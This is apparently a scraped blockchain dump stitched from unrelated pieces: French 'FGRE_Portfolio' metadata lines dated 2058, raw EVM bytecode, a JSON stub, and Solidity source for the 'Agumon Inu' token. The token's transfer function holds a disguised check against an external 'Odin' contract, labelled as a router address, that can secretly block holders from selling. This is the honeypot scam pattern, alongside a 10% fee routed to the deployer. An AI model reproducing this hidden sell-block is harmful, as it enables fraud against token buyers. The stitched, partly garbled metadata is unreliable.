// < bg6C5eTONElqCGOWZ6Fj66tAnMhl10FiYhlJS6BD6U2wADwvMNXq8VrUc80WM346 >
// < 1E-018 limites [ 557612521960,628 ; 567334755277,977 ] >
// < 0x0000000000000000000000000000000000000000000000CFBA12F64D359422C8 >
// < FGRE_Portfolio_I_metadata_line_15_____SEM_SYDEME_DEVELOPPEMENT_OBS_DAM_20580515 >
// < 267E5tRWxASCKcDOslbWk74Q7lHdqQ9LcQH23j0xwq8XfNKU3rl69l8Xly0yU104 >
// < 1E-018 limites [ 567334755277,977 ; 754508957813,064 ] >
// < 0x000000000000000000000000000000000000000000000D359422C81191394DA5 >
// < FGRE_Portfolio_I_metadata_line_16_____METHAVOS_SAS_OBS_DAC_20580515 >
// < j7HCt0sEKK5N0wr1uc3T3M43E8Fx9oqaiQZ8HCDY4h5Cj0PX0EOd9E13scqT8EL3 >
// < 1E-018 limites [ 754508957813,064 ; 756731561518,271 ] >
// < 0x000000000000000000000000000000000000000000001191394DA5119E78BA38 >
// < FGRE_Portfolio_I_metadata_line_17_____SPIRAL_TRANS_SAS_OBS_DAC_20580515 >
// < uBU1p3C5b826j9H2pGi8XmmMFZUPjpHV9vA33H07Hm7LyRh6Wes8Tl9eto6T06c3 >
// < 1E-018 limites [ 756731561518,271 ; 757935845830,361 ] >
// < 0x00000000000000000000000000000000000000000000119E78BA3811A5A651C7 >
// < FGRE_Portfolio_I_metadata_line_18_____GROUPE_LINGENHELD_SA_OBS_DAC_20580515 >
// < A3nAM1av1Wgnx569k0au9kdPVLjP5Aaa8BxCh2776L1aS2neSG47q3n77Gk5nCSq >
// < 1E-018 limites [ 757935845830,361 ; 758196128380,951 ] >
// < 0x0000000000000000000000000000000000000000000011A5A651C711A7337AA6 >
// < FGRE_Portfolio_I_metadata_line_19_____SAGILOR_SARL_20580515 >
// < 71slAjTF2942Vh35iZ9Jxo9MXJ94aYHK9E4hPi3RJIxfDHJeL2pTh6694PKzzaeP >
// < 1E-018 limites [ 758196128380,951 ; 758338985697,514 ] >
// < 0x0000000000000000000000000000000000000000000011A7337AA611A80D764A >
// < FGRE_Portfolio_I_metadata_line_20_____SAGILOR_SARL_OBS_DAC_20580515 >
// < qvP5169oWl81FGIg7u1HGCORI0Z87zlU4mSvVAKvhE15Q7720BkFh7g46kLAyv42 >
// < 1E-018 limites [ 758338985697,514 ; 758645306252,734 ] >
// < 0x0000000000000000000000000000000000000000000011A80D764A11A9E0DEC1 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_I_metadata_line_21_____CCR_FGRE_IDX_SYDEME_20580515 >
// < A5sC9ZEFtA2yA8X0vfi3b6165rpOnG7vKYIy83LOGRjLCv26279bNej0kbTPFPDp >
// < 1E-018 limites [ 758645306252,734 ; 825398527634,891 ] >
// < 0x0000000000000000000000000000000000000000000011A9E0DEC11337C233DB >
// < FGRE_Portfolio_I_metadata_line_22_____CCR_FGRE_IDX_REGIE_ECOTRI_MOSELLE_EST_20580515 >
// < B8Bj5D75Fk7u0j2cb88IWAbCG6Lf8GUzP4v0vqD52ja34Igf748ePEtLDj2350l5 >
// < 1E-018 limites [ 825398527634,891 ; 987183990485,361 ] >
// < 0x000000000000000000000000000000000000000000001337C233DB16FC133A49 >
// < FGRE_Portfolio_I_metadata_line_23_____CCR_FGRE_IDX_REGIE_CSM_CONFECTION_DES_SACS_MULTI_FLUX_20580515 >
// < 9bz3xtA0z6rY2D9NpnldS4RsZ9Lv64g8UV3h45N6PQ7V0g55l9443O49z9e5IWmX >
// < 1E-018 limites [ 987183990485,361 ; 987323943581,669 ] >
// < 0x0000000000000000000000000000000000000000000016FC133A4916FCE8C776 >
// < FGRE_Portfolio_I_metadata_line_24_____CCR_FGRE_IDX_REGIE_DSM_DISTRIBUTION_DES_SACS_MULTI_FLUX_20580515 >
// < 74sM8JazkSLqowDd8sEknEj510pnZNNnVIpgJ6XK39k5e4rHBc9Opj5uPKElpSaN >
// < 1E-018 limites [ 987323943581,669 ; 987556222640,921 ] >
// < 0x0000000000000000000000000000000000000000000016FCE8C77616FE4B3578 >
// < FGRE_Portfolio_I_metadata_line_25_____CCR_FGRE_IDX_SEM_SYDEME_DEVELOPPEMENT_20580515 >
// < 0O78pcYigL75snN3u016Pl48sX55gqaTQg5HNO36W1zlJxB2X1Flsbn0zOvgcT1g >
// < 1E-018 limites [ 987556222640,921 ; 989401898343,835 ] >
// < 0x0000000000000000000000000000000000000000000016FE4B357817094B7C8A >
// < FGRE_Portfolio_I_metadata_line_26_____CCR_FGRE_IDX_METHAVOS_SAS_20580515 >
// < lo6gVeyQZ5dgodhOa9wF8Xve9to4LJ1JrQ2KF1XX7sPBV8Myio176sL97DN0hP1M >
// < 1E-018 limites [ 989401898343,835 ; 989624923072,177 ] >
// < 0x0000000000000000000000000000000000000000000017094B7C8A170A9FCB93 >
// < FGRE_Portfolio_I_metadata_line_27_____CCR_FGRE_IDX_SPIRAL_TRANS_SAS_20580515 >
// < i00oRb2v67686W4Oxrtobl39RtpERLm78HJ4aokF46idHvPpY8O548vhBcKWzG43 >
// < 1E-018 limites [ 989624923072,177 ; 990548711561,624 ] >
// < 0x00000000000000000000000000000000000000000000170A9FCB931710216274 >
// < FGRE_Portfolio_I_metadata_line_28_____CCR_FGRE_IDX_GROUPE_LINGENHELD_SA_20580515 >
// < 3Vu28fIPS64W1lVs02q8PYKowcZ5AUA07RN6rWhgmBBrnE78h4xnC27HPvIx579Y >
// < 1E-018 limites [ 990548711561,624 ; 990670347370,608 ] >
// < 0x0000000000000000000000000000000000000000000017102162741710DAFC71 >
// < FGRE_Portfolio_I_metadata_line_29_____CCR_FGRE_IDX_SAGILOR_SARL_20580515 >
// < 1Z8CF5B65D7WP5D5reszn9o64tXC65DSq8HaL3xN09A8SF4daQuMWS4DpY49v1H4 >
// < 1E-018 limites [ 990670347370,608 ; 993103443723,149 ] >
// < 0x000000000000000000000000000000000000000000001710DAFC71171F5B98B4 >
// < FGRE_Portfolio_I_metadata_line_30_____SOCIETE_DU_NOUVEAU_PORT_DE_METZ_20580515 >
// < Trw0tlfPepnte2du5k22e0rm94BGLohz4rpg3a46kFgpusmAdel2w5DM3ba90xp7 >
// < 1E-018 limites [ 993103443723,149 ; 1165500246040,28 ] >
// < 0x00000000000000000000000000000000000000000000171F5B98B41B22EC3D9C >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_I_metadata_line_31_____Fonds_de_garantie_des_risques_lies_a_l_epandage_des_boues_issues_de_l_industre_de_methanisation_20580515 >
// < s1D0h1pdtqF7h3C85KJo4QYDMkVN0Ff7zv7HLHhTh3IzY0jcXzfXuvx26UyL93Vx >
// < 1E-018 limites [ 1165500246040,28 ; 1290704803866,65 ] >
// < 0x000000000000000000000000000000000000000000001B22EC3D9C1E0D333C03 >
// < FGRE_Portfolio_I_metadata_line_32_____SHS_Sociéte_Holding_du_Syndicat_DMME_sociéte_de_gestion_du_fonds_de_garantie_des_risques_lies_a_la_epandage_des_boues_issues_de_l_industrie_de_methanisation_20580515 >
// < S4dwaEQBX7J515883oyQ7L90qCcIn7vj125639gWR33mO72eIJ166Kqp0xWRQGXm >
// < 1E-018 limites [ 1290704803866,65 ; 1295403858538,79 ] >
// < 0x000000000000000000000000000000000000000000001E0D333C031E29356C3E >
// < FGRE_Portfolio_I_metadata_line_33_____SFS_Sociéte_Financiere_du_Syndicat_DMME_societe_de_gestion_des_cotisations_et_provisions_pour_l'indemnisation_des_exploitants_agricoles_sylvicoles_et_forestiers_20580515 >
// < N2fUc2Tn9184W8qE0OeT6SLLDT4Qk956rNxoO71SzL671Qxcehr6z47HrFwRHfg3 >
// < 1E-018 limites [ 1295403858538,79 ; 1295551014450,21 ] >
// < 0x000000000000000000000000000000000000000000001E29356C3E1E2A15F705 >
// < FGRE_Portfolio_I_metadata_line_34_____GRDF_20580515 >
// < 0TZhJCc9aZL638b40FdWi6Fa7x37m0M32xBwDy5TJW3y3dErlP8E923zgQ2jgxi7 >
// < 1E-018 limites [ 1295551014450,21 ; 1297855872414,5 ] >
// < 0x000000000000000000000000000000000000000000001E2A15F7051E37D2E629 >
// < FGRE_Portfolio_I_metadata_line_35_____METHAVALOR_20580515 >
// < 95Io3eoe8fjFCr0g4r6u9g6NK04uD16HmZDQy6P7pk7zLZ2YjB19A6LPNFzsW8JI >
// < 1E-018 limites [ 1297855872414,5 ; 1457761232536,92 ] >
// < 0x000000000000000000000000000000000000000000001E37D2E62921F0EF1D76 >
// < FGRE_Portfolio_I_metadata_line_36_____LEGRAS_20580515 >
// < 8y25S9831k844lYjQ009718yQR0L9knIOV32LzR972iEEHPwmHZlxmmJEC07424O >
// < 1E-018 limites [ 1457761232536,92 ; ] >
// < 0x0000000000000000000000000000000000000000000021F0EF1D7623C829D434 >
// < FGRE_Portfolio_I_metadata_line_37_____CCR_FGRE_IDX_GRDF_20580515 >
// < 8op9iKEgfw97VA98QQ2lZ3mIBo52R4tL1G1026rast7kyZGCf1AT5U0g2N1I7AkO >
// < 1E-018 limites [ 1536820398604,73 ; 1537020842150,07 ] >
// < 0x0000000000000000000000000000000000000000000023C829D43423C95BAE77 >
// < FGRE_Portfolio_I_metadata_line_38_____CCR_FGRE_IDX_METHAVALOR_20580515 >
// < U8jUWH0M46faUoLC4dk5IA3zYKXw4zOxzRtUBc32IuS3nCz3g5hGbk62ql28pD6r >
// < 1E-018 limites [ 1537020842150,07 ; 1574094200080,45 ] >
// < 0x0000000000000000000000000000000000000000000023C95BAE7724A65522E8 >
// < FGRE_Portfolio_I_metadata_line_39_____CCR_FGRE_IDX_LEGRAS_20580515 >
// < FB5mewmtfXrafBx6vWbXU81f98wIP6n3vxzY7XJUOHhUXeO5b15Dt4V2f6P95cnM >
// < 1E-018 limites [ 1574094200080,45 ; 1578417216092,89 ] >
// < 0x0000000000000000000000000000000000000000000024A65522E824C0198909 >
// < FGRE_Portfolio_I_metadata_line_40_____SPIRAL_TRANS_AB_AB_20580515 >
// < QN7lvataPm5A2698jqaB8eRZBfO1lp9CAL1peRlB68iDGz0qc96m44aIm9N5Rh1z >
// < 1E-018 limites [ 1578417216092,89 ; 1579789427442,53 ] >
// < 0x0000000000000000000000000000000000000000000024C019890924C8475D18 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058201577bc6f1996e45621d626fc97f29c620e20bf3f659650bb362174ff16d850070029
|
{"success": true, "error": null, "results": {}}
| 5,751 |
0x87A9854F6D6c29c5B63Dc4caDcA40C83Ae79b6e8
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/Agumoninu
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Agumon Inu";
string constant TOKEN_SYMBOL="AINU";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600a81526020017f4167756d6f6e20496e7500000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f41494e5500000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d60